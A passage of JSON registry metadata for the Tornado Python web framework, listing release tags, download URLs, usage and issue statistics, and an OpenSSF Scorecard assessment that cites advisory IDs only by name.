/tornadoweb/tornado/tar.gz/v3.1.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.1.0/manifests"},{"name":"v3.0.2","sha":"1a3088b58d5160c4befbc5119cd5459e0c24a5a1","kind":"tag","published_at":"2013-06-03T01:15:08.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v3.0.2","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"e55590878524d4f47c8c75f38061587faf51d4c5","kind":"tag","published_at":"2013-04-09T03:27:16.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v3.0.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"6c6b72f3a38771792717857c914b976a1a5187cb","kind":"tag","published_at":"2013-03-29T13:02:20.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v3.0.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.0.0/manifests"},{"name":"v2.4.1","sha":"169ac4ef4983058eadc72d7dc4860e8acb2c8109","kind":"tag","published_at":"2012-11-25T02:28:09.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.4.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"648bebf0eeb220ebfaa8200bab3bac41add9d650","kind":"tag","published_at":"2012-09-04T05:09:50.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.4.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.4.0/manifests"},{"name":"v2.3.0","sha":"13598908a7872080c6cc20b0dcfbcb0ce89a3447","kind":"tag","published_at":"2012-06-01T04:39:50.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.3.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.3.0/manifests"},{"name":"v2.2.1","sha":"8d7f9f014ee2694648654dcbcda733dfdf2052b4","kind":"tag","published_at":"2012-04-24T05:04:40.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.2.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"02bc76155de5bf4dca243e4d0c019c0ac4c8b3be","kind":"tag","published_at":"2012-01-30T19:02:02.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.2.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.2.0/manifests"},{"name":"v2.1.1","sha":"fa159286ff3e1b5e625fc42a717c628bf9491938","kind":"tag","published_at":"2011-10-04T17:00:56.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.1.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"b419316cc72ec7c91239e6a8642088cda4cc3266","kind":"tag","published_at":"2011-09-21T04:22:10.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.1.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"94078a68286abca52854cede8bb52a1cee1d815b","kind":"tag","published_at":"2011-06-22T05:28:57.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.0.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.0.0/manifests"},{"name":"v1.2.1","sha":"f36fb66f02509b93a7156cd357e82d03155936a9","kind":"tag","published_at":"2011-03-03T20:41:45.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v1.2.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"f5436204e62b1f7b2716a21e024ae2c572739cf2","kind":"tag","published_at":"2011-02-20T20:56:55.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v1.2.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"b91245427fac0672d94f7db26e59ec2bd0c46f57","kind":"tag","published_at":"2011-02-09T06:43:17.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v1.1.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"2338348edda61c663fff8a7f6f77cf489bf63de6","kind":"tag","published_at":"2010-09-08T00:05:33.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v1.1.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.1.0/manifests"},{"name":"v1.0.1","sha":"2b5064b7ed962603ade0db0c8e21846a9879e30e","kind":"tag","published_at":"2010-08-13T17:56:56.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v1.0.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"eb5b3d8df7a305ac1ffa0a12c813e5d7ee4d6cd3","kind":"tag","published_at":"2010-07-22T23:56:38.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v1.0.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.0.0/manifests"}]},"repo_metadata_updated_at":"2026-08-24T19:51:42.677Z","dependent_packages_count":34,"downloads":2545653,"downloads_period":"total","dependent_repos_count":2033,"rankings":{"downloads":null,"dependent_repos_count":1.572897761645493,"dependent_packages_count":0.8771929824561403,"stargazers_count":4.174228675136116,"forks_count":4.506957047791894,"docker_downloads_count":null,"average":2.782819116757411},"purl":"pkg:conda/tornado","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/conda/tornado","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/conda/tornado","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/conda/tornado/dependencies","status":null,"funding_links":[],"critical":false,"issue_metadata":{"last_synced_at":"2026-08-24T13:18:10.868Z","issues_count":206,"pull_requests_count":431,"avg_time_to_close_issue":39614074.5862069,"avg_time_to_close_pull_request":4496940.289940828,"issues_closed_count":145,"pull_requests_closed_count":338,"pull_request_authors_count":100,"issue_authors_count":162,"avg_comments_per_issue":3.320388349514563,"avg_comments_per_pull_request":0.9048723897911833,"merged_pull_requests_count":264,"bot_issues_count":0,"bot_pull_requests_count":27,"past_year_issues_count":18,"past_year_pull_requests_count":104,"past_year_avg_time_to_close_issue":1331791.2857142857,"past_year_avg_time_to_close_pull_request":671298.574074074,"past_year_issues_closed_count":14,"past_year_pull_requests_closed_count":54,"past_year_pull_request_authors_count":30,"past_year_issue_authors_count":17,"past_year_avg_comments_per_issue":1.4444444444444444,"past_year_avg_comments_per_pull_request":0.6538461538461539,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/issues","maintainers":[{"login":"bdarnell","count":215,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bdarnell"}],"active_maintainers":[{"login":"bdarnell","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bdarnell"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/tornado/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/tornado/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/tornado/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/tornado/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/tornado/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/tornado/codemeta","maintainers":[],"registry":{"name":"anaconda.org","url":"https://anaconda.org","ecosystem":"conda","default":true,"packages_count":5475,"maintainers_count":0,"namespaces_count":0,"keywords_count":3313,"github":"Anaconda","metadata":{"kind":"anaconda","key":"Main","api":"https://repo.ananconda.com","funded_packages_count":852},"icon_url":"https://github.com/Anaconda.png","created_at":"2022-10-03T15:37:08.736Z","updated_at":"2026-08-24T05:06:29.101Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/namespaces"}},{"id":3626406,"name":"github.com/tornadoweb/tornado","ecosystem":"go","description":"","homepage":null,"licenses":"apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/tornadoweb/tornado","keywords_array":[],"namespace":"github.com/tornadoweb","versions_count":65,"first_release_published_at":"2010-07-22T23:56:21.000Z","latest_release_published_at":"2026-08-07T01:18:04.000Z","latest_release_number":"v6.5.8+incompatible","last_synced_at":"2026-08-25T00:40:47.926Z","created_at":"2022-04-11T08:11:51.991Z","updated_at":"2026-08-25T00:40:47.926Z","registry_url":"https://pkg.go.dev/github.com/tornadoweb/tornado","install_command":"go get github.com/tornadoweb/tornado","documentation_url":"https://pkg.go.dev/github.com/tornadoweb/tornado#section-documentation","metadata":{},"repo_metadata":{"id":658918,"uuid":"301742","full_name":"tornadoweb/tornado","owner":"tornadoweb","description":"Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.","archived":false,"fork":false,"pushed_at":"2026-08-07T15:34:25.000Z","size":11095,"stargazers_count":22187,"open_issues_count":253,"forks_count":5551,"subscribers_count":948,"default_branch":"master","last_synced_at":"2026-08-16T14:26:21.653Z","etag":null,"topics":["asynchronous","python"],"latest_commit_sha":null,"homepage":"http://www.tornadoweb.org/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tornadoweb.png","metadata":{"files":{"readme":"README.rst","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2009-09-09T04:55:16.000Z","updated_at":"2026-08-16T08:31:18.000Z","dependencies_parsed_at":"2026-08-14T16:34:01.251Z","dependency_job_id":null,"html_url":"https://github.com/tornadoweb/tornado","commit_stats":{"total_commits":3791,"total_committers":449,"mean_commits":8.443207126948774,"dds":"0.34819308889475076","last_synced_commit":"0a39ba8b6ac0beb48a3244098cfa72ce1f59f215"},"previous_names":["facebook/tornado"],"tags_count":85,"template":false,"template_full_name":null,"purl":"pkg:github/tornadoweb/tornado","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/sbom","scorecard":{"id":895010,"data":{"date":"2025-08-11","repo":{"name":"github.com/tornadoweb/tornado","commit":"c2bd430e422fbe0302e0d8d64c4a4d4b826b1825"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.3,"checks":[{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":3,"reason":"Found 5/14 approved changesets -- score normalized to 3","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: found token with 'none' permissions: .github/workflows/build.yml:1","Info: found token with 'none' permissions: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:59: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:95: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:98: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:101: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:139: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: containerImage not pinned by hash: demos/blog/Dockerfile:1: pin your Docker image by updating python:3.7 to python:3.7@sha256:eedf63967cdb57d8214db38ce21f105003ed4e4d0358f02bedc057341bcf92a0","Warn: pipCommand not pinned by hash: demos/blog/Dockerfile:9","Warn: pipCommand not pinned by hash: maint/vm/freebsd/setup.sh:21","Warn: pipCommand not pinned by hash: maint/vm/ubuntu12.04/setup.sh:41","Warn: pipCommand not pinned by hash: maint/vm/ubuntu14.04/setup.sh:30","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:74","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:40","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:84","Info:   0 out of  16 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   1 containerImage dependencies pinned","Info:   0 out of   8 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/build.yml:80"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-753j-mpmx-qq6g","Warn: Project is vulnerable to: GHSA-7cx3-6m66-7c5m","Warn: Project is vulnerable to: PYSEC-2020-213 / GHSA-8vpw-mgpf-mpvv","Warn: Project is vulnerable to: GHSA-8w49-h785-mj3c","Warn: Project is vulnerable to: PYSEC-2012-5 / GHSA-f7fv-v9rh-prvc","Warn: Project is vulnerable to: PYSEC-2023-75 / GHSA-hj3f-6gcp-jg8j","Warn: Project is vulnerable to: GHSA-qppv-j76h-2rpx","Warn: Project is vulnerable to: GHSA-w235-7p84-xx57"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-24T13:21:32.547Z","repository_id":658918,"created_at":"2025-08-24T13:21:32.547Z","updated_at":"2025-08-24T13:21:32.547Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36717189,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-16T02:00:06.462Z","response_time":62,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"tornadoweb","name":"tornadoweb","uuid":"7468980","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/7468980?v=4","repositories_count":1,"last_synced_at":"2026-08-14T04:43:01.486Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/tornadoweb","funding_links":[],"total_stars":22192,"followers":101,"following":0,"created_at":"2022-11-02T16:23:22.380Z","updated_at":"2026-08-14T04:43:01.500Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitH